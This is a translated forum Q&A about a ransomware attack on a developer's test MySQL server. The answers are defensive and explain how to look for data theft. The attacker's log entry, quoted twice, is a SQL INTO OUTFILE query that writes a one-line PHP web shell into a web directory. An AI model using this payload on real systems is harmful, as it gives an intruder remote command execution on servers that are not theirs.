我在 Vagrant dev box 上运行了一个测试 mysql 数据库。结果发现网络不太安全。
所有数据库均已删除(并替换为 DB 勒索软件说明),在日志中我可以看到所有 drop db 命令。但是,我没有在任何地方看到 dump 或 mysql dump 命令的任何迹象。
日志中有一些如下所示的命令。
Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS'
Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS'
Query SELECT "CMD2018<br><pre><?php @system($_GET['cmd']);?></pre>" INTO OUTFILE '/home/http/817BCD5B9C3A4B79D312345AB.php'
然而,没有任何输出文件存在。数据是否可以通过输出文件下载,或者这是运行外部命令的一种手段?
我不在乎数据是否被删除,因为这只是开发版本,而且有很多备份。问题是,如果没有转储命令,数据是否可能被下载?如果是这样,我需要寻找什么?我只需要尝试确认黑客是否窃取了一些数据,这些数据可能会泄露等。
答案1
您是否意识到,如果勒索软件删除了您的本地副本,他们就必须拥有您的数据副本,这样勒索软件才能发挥作用?否则,赎金就不多了——如果他们只是删除了它,您愿意支付什么呢?通常,他们会发送一段数据来证明他们有副本。
无论数据库中有什么数据,都应视为已完全泄露。请记住,如果您拥有任何欧洲公民数据,则必须在发现泄露后 72 小时内公开披露。
答案2
SELECT "CMD2018<br><pre><?php @system($_GET['cmd']);?></pre>" INTO OUTFILE '/home/http/817BCD5B9C3A4B79D312345AB.php'
显然是试图创造一个后门壳 在系统上运行任何命令,而不仅仅是您迄今为止发现的 SQL 查询。如果可以/home/http/
通过 HTTP(S) 公开访问,他们可能在第一次利用后采取了更多行动。
通过查找通过 执行的命令,您可以从 Web 服务器日志中找到有关已执行操作的更多痕迹/817BCD5B9C3A4B79D312345AB.php?cmd=
。SQL 转储和删除文件的命令可能在那里 - 或者用于创建另一个不会留下此类痕迹的 shell 访问的命令。